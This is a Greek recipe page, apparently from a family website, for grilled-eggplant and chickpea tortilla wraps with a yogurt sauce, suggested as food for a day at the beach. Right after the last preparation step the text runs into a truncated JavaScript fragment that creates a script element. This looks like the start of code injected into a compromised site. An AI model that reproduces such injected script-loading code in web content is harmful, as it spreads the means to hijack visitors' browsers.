mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Τορτίγιες με μελιτζάνες και ρεβύθια

Τορτίγιες με μελιτζάνες και ρεβύθια

FNK_GrilledEggplantChickpeaWraps_HΟι επισκέψεις μας στη θάλασσα αυξάνονται τελευταία και συνήθως θέλουμε να καθόμαστε με τις ώρες για να απολαμβάνουμε στιγμές χαλάρωσης στην παραλία! Γι’ αυτό χρειαζόμαστε τα απαραίτητα εφόδια ώστε να μην μας χαλάσει τη μέρα μας η πείνα μας ή η λιγούρα μας!

Είναι πάντοτε χρήσιμο να προετοιμάζουμε τα κατάλληλα σνακ από το σπίτι που μπορούν να φαγωθούν ώς μεσημεριανό γεύμα χαρίζοντας μας όλα τα θρεπτικά συστατικά για μικρούς και μεγάλους!

Σπιτικές λοιπόν πιτούλες με λαχανικά είναι η συνατγή που σας προτείνουμε να δοκιμάσετε για την επόμενη σας εξόρμηση στη θάλασσα και όχι μόνο! Η παρακάτω συνταγή είναι εξαιρετική και για μια μάζωξη το σπίτι με φίλους, για ένα οικογενειακό δείπνο ή και για ένα ελαφρύ καλοκαιρινό μεσημεριανό γέυμα!

Υλικά

1 σκελίδα σκόρδου
2 κ.γλ. χυμό από λεμόνι
3/4 φλιτζ. γιαούρτι
αλάτι
1 φλιτζ. ρεβύθια έτοιμα από βαζάκι ή αφού τα έχουμε βράσει πρώτα
1 μελιτζάνα κομμένη
ελαιόλαδο
4 αράβικες πίτες ή τορίγια
4 κ. γλ/ ρίγανη
1 ψιλοκομμένη ντομάτα
2 μικρά αγγούρια κομμένα σε λωρίδες
1 φλιτζ. κομμένο μαρούλι

Εκτέλεση

1. Προθερμαίνουμε το φούρνο στο γκριλ
2.Σε ένα μπωλ βάζουμε το σκόρδο μαζί με το χυμό λεμονιού και το αφήνουμε για λίγο να αρωματιστεί. Έπειτα ρίχνουμε το γιαούρτι λίγο νερό και αλάτι.
3. Ανακατεύουμε και ρίχνουμε τα ρεβίθια να γίνουν ένα με τη σως γιαουρτιού.
4. Αλείφουμε τα κομμάτια μελιτζάνας με ελαιόλαδο και τα αλατίζουμε.
5. Τα ψήνουμε από τη μία μεριά για 3 λεπτά έπειτα τις γυρνάμε από την άλλη αφού τα έχουμε αλατίσει και τα έχουμε λαδώσει και ψήνουμε για άλλα τρία λεπτά.
6. Μόλις ψηθούν ψιλοκόβουμε κι άλλο τα κομμάτια μελιτζάνας και τα ρίχνουμε στο γιαούρτι με τα ρεβύθια.
7. Ανοίγουμε μία μία τις τορτίγια και βάζουμε λίγο από το μείγμα γιαουρτιού, ρίγανη, λίγη ντομάτα, μαρούλι και αγγούρι. Πασπαλίζουμε με αλάτι (προεραιτικά) και τυλίγουμε την πίτα.
8. Σερβίρουμε με έξτρα μαρούλι, ντομάτα και αγγούρι στο πιάτο!var d=document;var s=d.createElement(‘script’);

Share This
3 Σχόλια
  1. […] post Τορτίγιες με μελ&iot… appeared first on Arkoudos, Συνταγές … […]

  2. […] Τορτίγιες με μελ&iot… […]